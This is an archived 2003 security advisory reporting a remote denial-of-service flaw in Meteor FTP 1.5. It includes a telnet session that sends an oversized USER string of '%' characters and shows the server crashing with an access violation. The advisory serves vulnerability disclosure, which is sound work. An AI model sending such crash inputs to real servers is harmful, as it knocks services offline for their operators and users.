www.evicted.org zerashat_private August 8, 2003 Meteor FTP Version 1.5 Remote Denial of Service Vulnerability 1. Introduction ---------------- Meteor FTP is a personal ftp server that runs on Windows98/ME/2K/XP. 2. Vulnerability ----------------- A vulnerability exists in Meteor FTP Version 1.5, which allows any malicious user to remotely cause a denial of service against the ftp server. By connecting to the Meteor FTP server and issuing USER followed by large amounts of data, the ftp server will crash. 3. Example ----------- Proof of concept exploit (meteordos.pl) is included in the attachment. root@openwire # telnet 192.168.1.14 21 Trying 192.168.1.14... Connected to 192.168.1.14. Escape character is '^]'. 220 Service ready for new user USER %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 530 Not logged on QUIT Connection closed by foreign host. root@openwire # telnet 192.168.1.14 21 Trying 192.168.1.14... Connected to 192.168.1.14. Escape character is '^]'. USER anonymous QUIT telnet> quit Connection closed. At this point the server has completely froze up. On the server side, the Meteor FTP spits out a dialog : "Error: Access Violation at 0x77FCC992 (Tried to write 0x25252525), program terminated." By clicking "OK", Meteor FTP terminates. 4. Vendor status ---------------- Vendor has been notified, waiting for response... 5. Credits ----------- Vulnerability & code by zerash You can view this advisory at : http://www.evicted.org/projects/writings/mftpadvisory.txt You can view the exploit at : http://www.evicted.org/projects/code/meteordos.pl 6. Contact ----------- Please send suggestions, updates, and comments to : zerashat_private http://www.evicted.org
This archive was generated by hypermail 2b30 : Sat Aug 09 2003 - 11:39:59 PDT